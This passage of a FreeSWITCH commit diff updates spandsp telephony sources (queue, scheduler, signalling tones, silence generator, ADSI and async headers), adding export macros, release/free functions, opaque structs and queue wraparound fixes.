+            return NULL;
+    }
+    memset(s, 0, sizeof(*s));
+    power_meter_init(&s->short_term, 4);
+    power_meter_init(&s->medium_term, 7);
+    ratio = powf(10.0f, surge/10.0f);
+    s->surge = 1024.0f*ratio;
+    s->sag = 1024.0f/ratio;
+    s->min = power_meter_level_dbm0(min);
+    s->medium_term.reading = s->min + 1;
+    return s;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) power_surge_detector_release(power_surge_detector_state_t *s)
+{
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) power_surge_detector_free(power_surge_detector_state_t *s)
+{
+    if (s)
+        free(s);
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
 /*- End of file ------------------------------------------------------------*/

Modified: freeswitch/branches/seven/libs/spandsp/src/queue.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/queue.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/queue.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,13 +22,13 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: queue.c,v 1.23 2008/09/09 16:25:51 steveu Exp $
+ * $Id: queue.c,v 1.31 2009/04/11 18:11:19 steveu Exp $
  */
 
 /*! \file */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <stdio.h>
@@ -39,16 +39,19 @@
 #include <inttypes.h>
 #include <sys/types.h>
 
-#define FULLY_DEFINE_QUEUE_STATE_T
+#define SPANDSP_FULLY_DEFINE_QUEUE_STATE_T
+#include "spandsp/telephony.h"
 #include "spandsp/queue.h"
 
-int queue_empty(queue_state_t *s)
+#include "spandsp/private/queue.h"
+
+SPAN_DECLARE(int) queue_empty(queue_state_t *s)
 {
     return (s->iptr == s->optr);
 }
 /*- End of function --------------------------------------------------------*/
 
-int queue_free_space(queue_state_t *s)
+SPAN_DECLARE(int) queue_free_space(queue_state_t *s)
 {
     int len;
     
@@ -59,7 +62,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int queue_contents(queue_state_t *s)
+SPAN_DECLARE(int) queue_contents(queue_state_t *s)
 {
     int len;
     
@@ -70,13 +73,13 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void queue_flush(queue_state_t *s)
+SPAN_DECLARE(void) queue_flush(queue_state_t *s)
 {
     s->optr = s->iptr;
 }
 /*- End of function --------------------------------------------------------*/
 
-int queue_view(queue_state_t *s, uint8_t *buf, int len)
+SPAN_DECLARE(int) queue_view(queue_state_t *s, uint8_t *buf, int len)
 {
     int real_len;
     int to_end;
@@ -126,7 +129,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int queue_read(queue_state_t *s, uint8_t *buf, int len)
+SPAN_DECLARE(int) queue_read(queue_state_t *s, uint8_t *buf, int len)
 {
     int real_len;
     int to_end;
@@ -173,7 +176,7 @@
             memcpy(buf, s->data + optr, real_len);
         /*endif*/
         new_optr = optr + real_len;
-        if (new_optr > s->len)
+        if (new_optr >= s->len)
             new_optr = 0;
         /*endif*/
     }
@@ -184,7 +187,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int queue_read_byte(queue_state_t *s)
+SPAN_DECLARE(int) queue_read_byte(queue_state_t *s)
 {
     int real_len;
     int to_end;
@@ -212,7 +215,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int queue_write(queue_state_t *s, const uint8_t *buf, int len)
+SPAN_DECLARE(int) queue_write(queue_state_t *s, const uint8_t *buf, int len)
 {
     int real_len;
     int to_end;
@@ -247,7 +250,7 @@
         /* A one step process */
         memcpy(s->data + iptr, buf, real_len);
         new_iptr = iptr + real_len;
-        if (new_iptr > s->len)
+        if (new_iptr >= s->len)
             new_iptr = 0;
         /*endif*/
     }
@@ -265,7 +268,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int queue_write_byte(queue_state_t *s, uint8_t byte)
+SPAN_DECLARE(int) queue_write_byte(queue_state_t *s, uint8_t byte)
 {
     int real_len;
     int iptr;
@@ -296,7 +299,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int queue_state_test_msg(queue_state_t *s)
+SPAN_DECLARE(int) queue_state_test_msg(queue_state_t *s)
 {
     uint16_t lenx;
 
@@ -307,7 +310,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int queue_read_msg(queue_state_t *s, uint8_t *buf, int len)
+SPAN_DECLARE(int) queue_read_msg(queue_state_t *s, uint8_t *buf, int len)
 {
     uint16_t lenx;
 
@@ -333,7 +336,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int queue_write_msg(queue_state_t *s, const uint8_t *buf, int len)
+SPAN_DECLARE(int) queue_write_msg(queue_state_t *s, const uint8_t *buf, int len)
 {
     int real_len;
     int to_end;
@@ -349,10 +352,10 @@
     if ((real_len = optr - iptr - 1) < 0)
         real_len += s->len;
     /*endif*/
-    if (real_len < len + sizeof(uint16_t))
+    if (real_len < len + (int) sizeof(uint16_t))
         return -1;
     /*endif*/
-    real_len = len + sizeof(uint16_t);
+    real_len = len + (int) sizeof(uint16_t);
 
     to_end = s->len - iptr;
     lenx = (uint16_t) len;
@@ -362,7 +365,7 @@
         memcpy(s->data + iptr, &lenx, sizeof(uint16_t));
         memcpy(s->data + iptr + sizeof(uint16_t), buf, len);
         new_iptr = iptr + real_len;
-        if (new_iptr > s->len)
+        if (new_iptr >= s->len)
             new_iptr = 0;
         /*endif*/
     }
@@ -392,7 +395,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-queue_state_t *queue_init(queue_state_t *s, int len, int flags)
+SPAN_DECLARE(queue_state_t *) queue_init(queue_state_t *s, int len, int flags)
 {
     if (s == NULL)
     {
@@ -407,8 +410,14 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int queue_free(queue_state_t *s)
+SPAN_DECLARE(int) queue_release(queue_state_t *s)
 {
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) queue_free(queue_state_t *s)
+{
     free(s);
     return 0;
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/schedule.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/schedule.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/schedule.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,11 +22,11 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: schedule.c,v 1.17 2008/05/13 13:17:23 steveu Exp $
+ * $Id: schedule.c,v 1.22 2009/02/10 13:06:46 steveu Exp $
  */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <stdio.h>
@@ -38,7 +38,10 @@
 #include "spandsp/logging.h"
 #include "spandsp/schedule.h"
 
-int span_schedule_event(span_sched_state_t *s, int us, span_sched_callback_func_t function, void *user_data)
+#include "spandsp/private/logging.h"
+#include "spandsp/private/schedule.h"
+
+SPAN_DECLARE(int) span_schedule_event(span_sched_state_t *s, int us, span_sched_callback_func_t function, void *user_data)
 {
     int i;
 
@@ -65,7 +68,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-uint64_t span_schedule_next(span_sched_state_t *s)
+SPAN_DECLARE(uint64_t) span_schedule_next(span_sched_state_t *s)
 {
     int i;
     uint64_t earliest;
@@ -82,13 +85,13 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-uint64_t span_schedule_time(span_sched_state_t *s)
+SPAN_DECLARE(uint64_t) span_schedule_time(span_sched_state_t *s)
 {
     return s->ticker;
 }
 /*- End of function --------------------------------------------------------*/
 
-void span_schedule_update(span_sched_state_t *s, int us)
+SPAN_DECLARE(void) span_schedule_update(span_sched_state_t *s, int us)
 {
     int i;
     span_sched_callback_func_t callback;
@@ -111,7 +114,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void span_schedule_del(span_sched_state_t *s, int i)
+SPAN_DECLARE(void) span_schedule_del(span_sched_state_t *s, int i)
 {
     if (i >= s->max_to_date
         ||
@@ -127,7 +130,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-span_sched_state_t *span_schedule_init(span_sched_state_t *s)
+SPAN_DECLARE(span_sched_state_t *) span_schedule_init(span_sched_state_t *s)
 {
     memset(s, 0, sizeof(*s));
     span_log_init(&s->logging, SPAN_LOG_NONE, NULL);
@@ -136,7 +139,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int span_schedule_release(span_sched_state_t *s)
+SPAN_DECLARE(int) span_schedule_release(span_sched_state_t *s)
 {
     if (s->sched)
     {
@@ -146,4 +149,13 @@
     return 0;
 }
 /*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) span_schedule_free(span_sched_state_t *s)
+{
+    span_schedule_release(s);
+    if (s)
+        free(s);
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
 /*- End of file ------------------------------------------------------------*/

Modified: freeswitch/branches/seven/libs/spandsp/src/sig_tone.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/sig_tone.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/sig_tone.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -23,36 +23,40 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: sig_tone.c,v 1.25 2008/09/19 14:02:05 steveu Exp $
+ * $Id: sig_tone.c,v 1.32 2009/04/12 14:18:02 steveu Exp $
  */
 
 /*! \file */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <stdlib.h>
 #include <stdio.h>
 #include <inttypes.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 #include <memory.h>
 #include <string.h>
 
 #undef SPANDSP_USE_FIXED_POINT
 #include "spandsp/telephony.h"
+#include "spandsp/fast_convert.h"
 #include "spandsp/dc_restore.h"
 #include "spandsp/saturated.h"
 #include "spandsp/complex.h"
 #include "spandsp/dds.h"
 #include "spandsp/sig_tone.h"
 
+#include "spandsp/private/sig_tone.h"
+
+/*! PI */
 #define PI 3.14159265358979323
 
 /* The coefficients for the data notch filter. This filter is also the
@@ -266,7 +270,7 @@
     }
 };
 
-int sig_tone_tx(sig_tone_tx_state_t *s, int16_t amp[], int len)
+SPAN_DECLARE(int) sig_tone_tx(sig_tone_tx_state_t *s, int16_t amp[], int len)
 {
     int i;
     int j;
@@ -345,7 +349,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void sig_tone_tx_set_mode(sig_tone_tx_state_t *s, int mode)
+SPAN_DECLARE(void) sig_tone_tx_set_mode(sig_tone_tx_state_t *s, int mode)
 {
     if ((mode & 0x03) == 0x03  &&  !(s->current_tx_tone & SIG_TONE_1_PRESENT))
         s->high_low_timer = s->desc->high_low_timeout;
@@ -355,7 +359,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-sig_tone_tx_state_t *sig_tone_tx_init(sig_tone_tx_state_t *s, int tone_type, sig_tone_func_t sig_update, void *user_data)
+SPAN_DECLARE(sig_tone_tx_state_t *) sig_tone_tx_init(sig_tone_tx_state_t *s, int tone_type, sig_tone_func_t sig_update, void *user_data)
 {
     int i;
 
@@ -387,8 +391,21 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int sig_tone_rx(sig_tone_rx_state_t *s, int16_t amp[], int len)
+SPAN_DECLARE(int) sig_tone_tx_release(sig_tone_tx_state_t *s)
 {
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) sig_tone_tx_free(sig_tone_tx_state_t *s)
+{
+    if (s)
+        free(s);
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+SPAN_DECLARE(int) sig_tone_rx(sig_tone_rx_state_t *s, int16_t amp[], int len)
+{
 #if defined(SPANDSP_USE_FIXED_POINT)
     int32_t x;
     int32_t notched_signal;
@@ -455,7 +472,7 @@
                this isn't used in low tone detect mode, but we must keep notch_zl
                rolling along. */
             s->tone[j].notch_zl = ((s->tone[j].notch_zl*s->desc->notch_slugi) >> 15)
-                                + ((abs(notched_signal)*s->desc->notch_slugp) >> 15);
+                                + ((abs((int) notched_signal)*s->desc->notch_slugp) >> 15);
             /* Mow the grass to weed out the noise! */
             mown_notch[j] = s->tone[0].notch_zl & s->desc->notch_threshold;
         }
@@ -503,7 +520,7 @@
 #endif            
             /* Leaky integrate the bandpassed data */
             s->broad_zl = ((s->broad_zl*s->desc->broad_slugi) >> 15)
-                        + ((abs(bandpass_signal)*s->desc->broad_slugp) >> 15);
+                        + ((abs((int) bandpass_signal)*s->desc->broad_slugp) >> 15);
     
             /* For the broad band receiver we use a simple linear threshold! */
             if (s->tone_present)
@@ -555,7 +572,7 @@
 
             /* Modulus and leaky integrate the data */
             s->broad_zl = ((s->broad_zl*s->desc->unfiltered_slugi) >> 15)
-                        + ((abs(amp[i])*s->desc->unfiltered_slugp) >> 15);
+                        + ((abs((int) amp[i])*s->desc->unfiltered_slugp) >> 15);
      
             /* Mow the grass to weed out the noise! */
             mown_bandpass = s->broad_zl & s->desc->unfiltered_threshold;
@@ -646,7 +663,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-sig_tone_rx_state_t *sig_tone_rx_init(sig_tone_rx_state_t *s, int tone_type, sig_tone_func_t sig_update, void *user_data)
+SPAN_DECLARE(sig_tone_rx_state_t *) sig_tone_rx_init(sig_tone_rx_state_t *s, int tone_type, sig_tone_func_t sig_update, void *user_data)
 {
     if (sig_update == NULL  ||  tone_type < 1  ||  tone_type > 3)
         return NULL;
@@ -671,4 +688,18 @@
     return s;
 }
 /*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) sig_tone_rx_release(sig_tone_rx_state_t *s)
+{
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) sig_tone_rx_free(sig_tone_rx_state_t *s)
+{
+    if (s)
+        free(s);
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
 /*- End of file ------------------------------------------------------------*/

Modified: freeswitch/branches/seven/libs/spandsp/src/silence_gen.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/silence_gen.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/silence_gen.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: silence_gen.c,v 1.16 2008/09/07 12:45:16 steveu Exp $
+ * $Id: silence_gen.c,v 1.22 2009/06/02 16:03:56 steveu Exp $
  */
 
 /*! \file */
@@ -36,13 +36,13 @@
 #include <stdio.h>
 #include <fcntl.h>
 #include <string.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 #include <assert.h>
 #include <limits.h>
 
@@ -51,7 +51,9 @@
 #include "spandsp/async.h"
 #include "spandsp/silence_gen.h"
 
-int silence_gen(silence_gen_state_t *s, int16_t *amp, int max_len)
+#include "spandsp/private/silence_gen.h"
+
+SPAN_DECLARE_NONSTD(int) silence_gen(silence_gen_state_t *s, int16_t *amp, int max_len)
 {
     if (s->remaining_samples != INT_MAX)
     {
@@ -70,20 +72,20 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void silence_gen_always(silence_gen_state_t *s)
+SPAN_DECLARE(void) silence_gen_always(silence_gen_state_t *s)
 {
     s->remaining_samples = INT_MAX;
 }
 /*- End of function --------------------------------------------------------*/
 
-void silence_gen_set(silence_gen_state_t *s, int silent_samples)
+SPAN_DECLARE(void) silence_gen_set(silence_gen_state_t *s, int silent_samples)
 {
     s->remaining_samples = silent_samples;
     s->total_samples = 0;
 }
 /*- End of function --------------------------------------------------------*/
 
-void silence_gen_alter(silence_gen_state_t *s, int silent_samples)
+SPAN_DECLARE(void) silence_gen_alter(silence_gen_state_t *s, int silent_samples)
 {
     /* Block negative silences */
     if (silent_samples < 0)
@@ -96,26 +98,26 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int silence_gen_remainder(silence_gen_state_t *s)
+SPAN_DECLARE(int) silence_gen_remainder(silence_gen_state_t *s)
 {
     return s->remaining_samples;
 }
 /*- End of function --------------------------------------------------------*/
 
-int silence_gen_generated(silence_gen_state_t *s)
+SPAN_DECLARE(int) silence_gen_generated(silence_gen_state_t *s)
 {
     return s->total_samples;
 }
 /*- End of function --------------------------------------------------------*/
 
-void silence_gen_status_handler(silence_gen_state_t *s, modem_tx_status_func_t handler, void *user_data)
+SPAN_DECLARE(void) silence_gen_status_handler(silence_gen_state_t *s, modem_tx_status_func_t handler, void *user_data)
 {
     s->status_handler = handler;
     s->status_user_data = user_data;
 }
 /*- End of function --------------------------------------------------------*/
 
-silence_gen_state_t *silence_gen_init(silence_gen_state_t *s, int silent_samples)
+SPAN_DECLARE(silence_gen_state_t *) silence_gen_init(silence_gen_state_t *s, int silent_samples)
 {
     if (s == NULL)
     {
@@ -128,16 +130,30 @@
 }
 /*- End of function --------------------------------------------------------*/
 
+SPAN_DECLARE(int) silence_gen_release(silence_gen_state_t *s)
+{
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) silence_gen_free(silence_gen_state_t *s)
+{
+    if (s)
+        free(s);
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
 /* The following dummy routines, to absorb data, don't really have a proper home,
    so they have been put here. */
 
-int span_dummy_rx(void *user_data, const int16_t amp[], int len)
+SPAN_DECLARE_NONSTD(int) span_dummy_rx(void *user_data, const int16_t amp[], int len)
 {
     return 0;
 }
 /*- End of function --------------------------------------------------------*/
 
-int span_dummy_mod(void *user_data, int16_t amp[], int len)
+SPAN_DECLARE(int) span_dummy_mod(void *user_data, int16_t amp[], int len)
 {
     return len;
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/adsi.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/adsi.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/adsi.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: adsi.h,v 1.31 2008/05/05 11:25:01 steveu Exp $
+ * $Id: adsi.h,v 1.40 2009/05/22 16:39:01 steveu Exp $
  */
 
 /*! \file */
@@ -249,7 +249,7 @@
 /*! Message waiting/not waiting */
 #define MCLASS_VISUAL_INDICATOR         0x0B
 
-/*! Definitions for CLIP (Calling Line Identity Presentation) */
+/*! Definitions for CLIP (Calling Line Identity Presentation) (from ETS 300 659-1) */
 enum
 {
     /*! Multiple data message caller ID */
@@ -262,31 +262,37 @@
     CLIP_MDMF_SMS =                     0x89
 };
 
-/*! CLIP message IDs */
+/*! CLIP message IDs (from ETS 300 659-1) */
 enum
 {
     /*! Date and time (MMDDHHMM) */
     CLIP_DATETIME =                     0x01,
-    /*! Caller number */
+    /*! Caller number (AKA calling line identity) */
     CLIP_CALLER_NUMBER =                0x02,
-    /*! Dialed number */
+    /*! Dialed number (AKA called line identity) */
     CLIP_DIALED_NUMBER =                0x03,
-    /*! Caller number absent: 'O' or 'P' */
+    /*! Caller number absent: 'O' or 'P' (AKA reason for absence of calling line identity) */
     CLIP_ABSENCE1 =                     0x04,
-    /*! Caller's name */
+    /*! Caller's name (AKA calling party name) */
     CLIP_CALLER_NAME =                  0x07,
-    /*! Caller's name absent: 'O' or 'P' */
+    /*! Caller's name absent: 'O' or 'P' (AKA reason for absence of calling party name) */
     CLIP_ABSENCE2 =                     0x08,
     /*! Visual indicator */
     CLIP_VISUAL_INDICATOR =             0x0B,
     /*! Message ID */
     CLIP_MESSAGE_ID =                   0x0D,
-    /*! Voice call, ring-back-when-free call, or msg waiting call */
+    /*! Complementary calling line identity */
+    CLIP_COMPLEMENTARY_CALLER_NUMBER =  0x10,
+    /*! Call type - voice call (1), ring-back-when-free call (2), calling name delivery (3) or msg waiting call(0x81) */
     CLIP_CALLTYPE =                     0x11,
     /*! Number of messages */
     CLIP_NUM_MSG =                      0x13,
+    /*! Type of forwarded call */
+    CLIP_TYPE_OF_FORWARDED_CALL =       0x15,
+    /*! Type of calling user */
+    CLIP_TYPE_OF_CALLING_USER =         0x16,
     /*! Redirecting number */
-    CLIP_REDIR_NUMBER =                 0x03,
+    CLIP_REDIR_NUMBER =                 0x1A,
     /*! Charge */
     CLIP_CHARGE =                       0x20,
     /*! Duration of the call */
@@ -348,9 +354,11 @@
     JCLIP_ABSENCE =                     0x04
 };
 
-/*! Definitions for CLIP-DTMF and its variants */
+/* Definitions for CLIP-DTMF and its variants */
 
+/*! Caller number is '#' terminated DTMF. */
 #define CLIP_DTMF_HASH_TERMINATED       '#'
+/*! Caller number is 'C' terminated DTMF. */
 #define CLIP_DTMF_C_TERMINATED          'C'
 
 /*! Caller number */
@@ -371,59 +379,14 @@
     ADSI transmitter descriptor. This contains all the state information for an ADSI
     (caller ID, CLASS, CLIP, ACLIP) transmit channel.
  */
-typedef struct
-{
-    int standard;
+typedef struct adsi_tx_state_s adsi_tx_state_t;
 
-    tone_gen_descriptor_t alert_tone_desc;
-    tone_gen_state_t alert_tone_gen;
-    fsk_tx_state_t fsktx;
-    dtmf_tx_state_t dtmftx;
-    async_tx_state_t asynctx;
-    
-    int tx_signal_on;
-    
-    int byte_no;
-    int bit_pos;
-    int bit_no;
-    uint8_t msg[256];
-    int msg_len;
-    int preamble_len;
-    int preamble_ones_len;
-    int postamble_ones_len;
-    int stop_bits;
-    int baudot_shift;
-    
-    logging_state_t logging;
-} adsi_tx_state_t;
-
 /*!
     ADSI receiver descriptor. This contains all the state information for an ADSI
     (caller ID, CLASS, CLIP, ACLIP, JCLIP) receive channel.
  */
-typedef struct
-{
-    int standard;
-    put_msg_func_t put_msg;
-    void *user_data;
+typedef struct adsi_rx_state_s adsi_rx_state_t;
 
-    fsk_rx_state_t fskrx;
-    dtmf_rx_state_t dtmfrx;
-    async_rx_state_t asyncrx;
-    
-    int consecutive_ones;
-    int bit_pos;
-    int in_progress;
-    uint8_t msg[256];
-    int msg_len;
-    int baudot_shift;
-    
-    /*! A count of the framing errors. */
-    int framing_errors;
-
-    logging_state_t logging;
-} adsi_rx_state_t;
-
 #if defined(__cplusplus)
 extern "C"
 {
@@ -437,23 +400,50 @@
     \param user_data An opaque pointer for the callback routine.
     \return A pointer to the initialised context, or NULL if there was a problem.
 */
-adsi_rx_state_t *adsi_rx_init(adsi_rx_state_t *s, int standard, put_msg_func_t put_msg, void *user_data);
+SPAN_DECLARE(adsi_rx_state_t *) adsi_rx_init(adsi_rx_state_t *s,
+                                             int standard,
+                                             put_msg_func_t put_msg,
+                                             void *user_data);
 
+/*! \brief Release an ADSI receive context.
+    \param s The ADSI receive context.
+    \return 0 for OK.
+*/
+SPAN_DECLARE(int) adsi_rx_release(adsi_rx_state_t *s);
+
+/*! \brief Free the resources of an ADSI receive context.
+    \param s The ADSI receive context.
+    \return 0 for OK.
+*/
+SPAN_DECLARE(int) adsi_rx_free(adsi_rx_state_t *s);
+
 /*! \brief Receive a chunk of ADSI audio.
     \param s The ADSI receive context.
     \param amp The audio sample buffer.
     \param len The number of samples in the buffer.
     \return The number of samples unprocessed.
 */
-int adsi_rx(adsi_rx_state_t *s, const int16_t *amp, int len);
+SPAN_DECLARE(int) adsi_rx(adsi_rx_state_t *s, const int16_t amp[], int len);
 
 /*! \brief Initialise an ADSI transmit context.
     \param s The ADSI transmit context.
     \param standard The code for the ADSI standard to be used.
     \return A pointer to the initialised context, or NULL if there was a problem.
 */
-adsi_tx_state_t *adsi_tx_init(adsi_tx_state_t *s, int standard);
+SPAN_DECLARE(adsi_tx_state_t *) adsi_tx_init(adsi_tx_state_t *s, int standard);
 
+/*! \brief Release an ADSI transmit context.
+    \param s The ADSI transmit context.
+    \return 0 for OK.
+*/
+SPAN_DECLARE(int) adsi_tx_release(adsi_tx_state_t *s);
+
+/*! \brief Free the resources of an ADSI transmit context.
+    \param s The ADSI transmit context.
+    \return 0 for OK.
+*/
+SPAN_DECLARE(int) adsi_tx_free(adsi_tx_state_t *s);
+
 /*! \brief Adjust the preamble associated with an ADSI transmit context.
     \param s The ADSI transmit context.
     \param preamble_len The number of bits of preamble.
@@ -461,11 +451,11 @@
     \param postamble_ones_len The number of bits of continuous one after a message.
     \param stop_bits The number of stop bits per character.
 */
-void adsi_tx_set_preamble(adsi_tx_state_t *s,
-                          int preamble_len,
-                          int preamble_ones_len,
-                          int postamble_ones_len,
-                          int stop_bits);
+SPAN_DECLARE(void) adsi_tx_set_preamble(adsi_tx_state_t *s,
+                                        int preamble_len,
+                                        int preamble_ones_len,
+                                        int postamble_ones_len,
+                                        int stop_bits);
 
 /*! \brief Generate a block of ADSI audio samples.
     \param s The ADSI transmit context.
@@ -473,12 +463,12 @@
     \param max_len The number of samples to be generated.
     \return The number of samples actually generated.
 */
-int adsi_tx(adsi_tx_state_t *s, int16_t *amp, int max_len);
+SPAN_DECLARE(int) adsi_tx(adsi_tx_state_t *s, int16_t amp[], int max_len);
 
 /*! \brief Request generation of an ADSI alert tone.
     \param s The ADSI transmit context.
 */
-void adsi_tx_send_alert_tone(adsi_tx_state_t *s);
+SPAN_DECLARE(void) adsi_tx_send_alert_tone(adsi_tx_state_t *s);
 
 /*! \brief Put a message into the input buffer of an ADSI transmit context.
     \param s The ADSI transmit context.
@@ -486,9 +476,10 @@
     \param len The length of the message.
     \return The length actually added. If a message is already in progress
             in the transmitter, this function will return zero, as it will
-            not successfully add the message to the buffer.
+            not successfully add the message to the buffer. If the message is
+            invalid (e.g. it is too long), this function will return -1.
 */
-int adsi_tx_put_message(adsi_tx_state_t *s, const uint8_t *msg, int len);
+SPAN_DECLARE(int) adsi_tx_put_message(adsi_tx_state_t *s, const uint8_t *msg, int len);
 
 /*! \brief Get a field from an ADSI message.
     \param s The ADSI receive context.
@@ -499,7 +490,7 @@
     \param field_body Pointer to the body of the field.
     \param field_len The length of the field, or -1 for no more fields, or -2 for message structure corrupt.
 */
-int adsi_next_field(adsi_rx_state_t *s, const uint8_t *msg, int msg_len, int pos, uint8_t *field_type, uint8_t const **field_body, int *field_len);
+SPAN_DECLARE(int) adsi_next_field(adsi_rx_state_t *s, const uint8_t *msg, int msg_len, int pos, uint8_t *field_type, uint8_t const **field_body, int *field_len);
 
 /*! \brief Insert the header or a field into an ADSI message.
     \param s The ADSI transmit context.
@@ -509,13 +500,13 @@
     \param field_body Pointer to the body of the new field.
     \param field_len The length of the new field.
 */
-int adsi_add_field(adsi_tx_state_t *s, uint8_t *msg, int len, uint8_t field_type, uint8_t const *field_body, int field_len);
+SPAN_DECLARE(int) adsi_add_field(adsi_tx_state_t *s, uint8_t *msg, int len, uint8_t field_type, uint8_t const *field_body, int field_len);
 
 /*! \brief Return a short name for an ADSI standard
     \param standard The code for the standard.
     \return A pointer to the name.
 */
-const char *adsi_standard_to_str(int standard);
+SPAN_DECLARE(const char *) adsi_standard_to_str(int standard);
 
 #if defined(__cplusplus)
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/async.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/async.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/async.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: async.h,v 1.18 2008/09/07 12:45:17 steveu Exp $
+ * $Id: async.h,v 1.25 2009/04/23 14:12:34 steveu Exp $
  */
 
 /*! \file */
@@ -78,7 +78,11 @@
     /*! \brief A modem has completed its task, and shut down. */
     SIG_STATUS_SHUTDOWN_COMPLETE = -10,
     /*! \brief Regular octet report for things like HDLC to the MTP standards. */
-    SIG_STATUS_OCTET_REPORT = -11
+    SIG_STATUS_OCTET_REPORT = -11,
+    /*! \brief Notification that a modem has detected signal quality degradation. */
+    SIG_STATUS_POOR_SIGNAL_QUALITY = -12,
+    /*! \brief Notification that a modem retrain has occurred. */
+    SIG_STATUS_MODEM_RETRAIN_OCCURRED = -13
 };
 
 /*! Message put function for data pumps */
@@ -100,10 +104,10 @@
 typedef int (*get_bit_func_t)(void *user_data);
 
 /*! Completion callback function for tx data pumps */
-typedef int (*modem_tx_status_func_t)(void *user_data, int status);
+typedef void (*modem_tx_status_func_t)(void *user_data, int status);
 
 /*! Completion callback function for rx data pumps */
-typedef int (*modem_rx_status_func_t)(void *user_data, int status);
+typedef void (*modem_rx_status_func_t)(void *user_data, int status);
 
 enum
 {
@@ -120,60 +124,15 @@
     working instance of a byte to asynchronous serial converter, for use
     in FSK modems.
 */
-typedef struct
-{
-    /*! \brief The number of data bits per character. */
-    int data_bits;
-    /*! \brief The type of parity. */
-    int parity;
-    /*! \brief The number of stop bits per character. */
-    int stop_bits;
-    /*! \brief A pointer to the callback routine used to get characters to be transmitted. */
-    get_byte_func_t get_byte;
